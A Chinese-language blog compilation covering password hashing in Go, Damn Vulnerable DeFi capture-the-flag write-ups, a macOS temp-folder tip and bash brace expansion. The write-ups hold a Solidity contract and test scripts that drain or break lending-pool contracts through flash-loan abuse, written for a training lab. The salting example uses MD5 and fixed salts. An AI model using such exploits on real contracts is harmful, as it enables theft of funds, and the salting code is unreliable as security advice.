Go - 如何儲存密碼

目前常見儲存密碼的方式是使用單向雜湊演算法將明文雜湊後儲存。單向雜湊演算法,顧名思義,無法將雜湊過後的摘要(digest)還原成明文,而這個過程具有確定性,也就是每次輸入相同內容得到的摘要都相同。在真實情況下,每次輸入密碼後,會將其進行雜湊,再與資料庫內儲存的摘要做比對。

常用的單向雜湊演算法包括 SHA-256, SHA-1, MD5 等 :

import (
	"crypto/md5"
	"crypto/sha1"
	"crypto/sha256"
	"fmt"
	"io"
)

func main() {
	h := sha256.New()
	io.WriteString(h, "密碼")
	fmt.Printf("% x\n", h.Sum(nil)) // %x	base 16, with lower-case letters for a-f

	h = sha1.New()
	io.WriteString(h, "密碼")
	fmt.Printf("% x\n", h.Sum(nil))

	h = md5.New()
	io.WriteString(h, "密碼")
	fmt.Printf("%x", h.Sum(nil))
}

結果:

ef 8b 49 45 8c 14 f6 59 63 50 24 2e d3 73 a7 0d 63 b8 ba 13 32 b0 1c d6 f9 80 23 35 ae ae 63 7c
6e 25 cb 22 24 f0 e4 ff 01 4a 51 c3 82 82 f7 b7 59 88 dc 31
6662c848a80c30c8d042bfd17cf5ae2c

Rainbow table

有些密碼特別常見,因此有個摘要組合叫做 Rainbow table,其實就是很多常見的密碼與其雜湊過後的摘要,和資料庫儲存的摘要進行比對後,就可以推導出原本的明文。所以一旦資料庫被洩露,駭客可以照著 Rainbow table 比對出很多用戶的明文密碼。

加鹽

為了防止駭客輕易比對出密碼,有個方法叫做「加鹽」,除了使用單向雜湊法將明文雜湊一次,另外加上指定字串或用戶名等隨機字串再做一次加密。

import (
	"crypto/md5"
	"fmt"
	"io"
)

func main() {
	h := md5.New()
	io.WriteString(h, "密碼")

	pwmd5 := fmt.Sprintf("%x", h.Sum(nil))

	salt1 := "@#$%"
	salt2 := "^&*()"

	// 和上面兩個鹽拼接
	io.WriteString(h, salt1)
	io.WriteString(h, salt2)
	io.WriteString(h, pwmd5)

	fmt.Printf("% x", h.Sum(nil))
}

scrypt / bcrypt

還有其他的套件例如 scrypt 與 bcrypt:

scrypt

package main

import (
	"fmt"

	"golang.org/x/crypto/scrypt"
)

func main() {
	salt := []byte("asdfasdf")
	h, err := scrypt.Key([]byte("some password"), salt, 16384, 8, 1, 32)

	if err == nil {
		fmt.Printf("% x", h)
	}
}

bcrypt

package main

import (
	"fmt"

	"golang.org/x/crypto/bcrypt"
)

func main() {
	password := []byte("密碼")

	// Hashing the password with the default cost of 10
	h, err := bcrypt.GenerateFromPassword(password, bcrypt.DefaultCost)
	if err == nil {
		fmt.Printf("% x", h)
	}

	// Comparing the password with the hash
	err = bcrypt.CompareHashAndPassword(h, password)
	fmt.Println(err) // nil means it is a match
}

參考資料

Damn Vulnerable DeFi - 2. Native Receiver

Description

There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)

Writeup

呼叫 flashLoan function 可以使可以減少 1ETH,所以我們來寫個合約調用它,直到沒有餘額。

  1. 撰寫合約
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.0;
     import "../naive-receiver/NaiveReceiverLenderPool.sol";
    
     contract NaiveReceiverAttacker {
       NaiveReceiverLenderPool private pool;
    
       constructor(address payable poolAddress) {
           pool = NaiveReceiverLenderPool(poolAddress);
       }
    
       function attack(address payable receiver) public {
         while(receiver.balance > 0) {
             pool.flashLoan(receiver, 0);
         }
       }
     }
    
  2. 修改 test/unstoppable/naive-receiver.challenge.js
     it('Exploit', async function () {
         /** CODE YOUR EXPLOIT HERE */   
         const attackerContract = await (await ethers.getContractFactory('NaiveReceiverAttacker', attacker)).deploy(this.pool.address);
         await attackerContract.connect(attacker).attack(this.receiver.address);
     });
    
  3. yarn run naive-receiver to exploit !

其他解法

不另外寫合約,直接修改 test/unstoppable/naive-receiver.challenge.js 成下面這樣也可以。

it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE */   
    for (let i = 0; i < 10; i++) {
        await this.pool.flashLoan(this.receiver.address, 0);
    }
});

Damn Vulnerable DeFi - 1. Unstoppable

在開始挑戰之前,先確定已經 clone 這個 repo 並執行 yarn 來下載需要的套件。

Description

There’s a lending pool with a million DVT tokens in balance, offering flash loans for free.
If only there was a way to attack and stop the pool from offering flash loans …
You start with 100 DVT tokens in balance.

Writeup

合約的第 40 行有一句 assert(poolBalance == balanceBefore); 檢查 poolBalance 是否與 balanceBefore 相等,如果不相等,執行 flashLoan function 的時候將會在這裡失敗。

poolBalance 會因為執行 depositTokens function 而改變,如果我們不使用這個 function,而是直接用 transfer 將 token 轉入合約,就會讓 poolBalancebalanceBefore 不相等。

  1. 修改 test/unstoppable/unstoppable.challenge.js
     it('Exploit', async function () {
         /** CODE YOUR EXPLOIT HERE */
         await this.token.connect(attacker).transfer(this.pool.address, 1);
     });
    
  2. yarn run unstoppable to exploit !

Find & open Temp folder in MacOS

  1. Find Temp folder path
     echo $TMPDIR
    
  2. Open Temp folder directly
     open $TMPDIR          
    

    Don’t delete or modify anything in the temp folder!

大括號的分配律─ Brace Expansion

  1. 分配律用法例如:創建 apple.txt after.txt as.txt 三個檔案

     touch a{pple,fter,s}.txt
    

    總之就是把共同的部份寫在大括號外面即可。

  2. 連續用法例如:創建 file1, file2, …, file100 等100個資料夾

     mkdir file{1..100}
    

    把連續的字母或數字的寫在大括號內,用 .. 隔開即可,原本需要100條命令現在只要1條就可以做到。

    也可以將數字改為英文字母,例如下面指令會 echo a ~ z 26 個字母

     echo {a..z}
     # a b c d e f g h i j k l m n o p q r s t u v w x y z
    

    也可以用降序的方式:

     echo {10..1}
     # 10 9 8 7 6 5 4 3 2 1
    
  3. 當然也可以混合使用:

     touch file_{1..5}_{old,new}
    

    這樣會產生10個檔案,file_1_old 、 file_1_new 、 file_2_old …

  4. 設置 step - {start..end..step}

     echo {10..0..2}
     # 10 8 6 4 2 0
    
  5. 使用在 for loop 上

     for i in {0..10}
     do
       echo "Number: $i"
     done
        
     # Number: 0
     # Number: 1
     # Number: 2
     # Number: 3
     # Number: 4
     # Number: 5
     # Number: 6
     # Number: 7
     # Number: 8
     # Number: 9
     # Number: 10
    
  6. Nested

     echo {a{1..3},{b..f}{4..0..2}}
     # a1 a2 a3 b4 b2 b0 c4 c2 c0 d4 d2 d0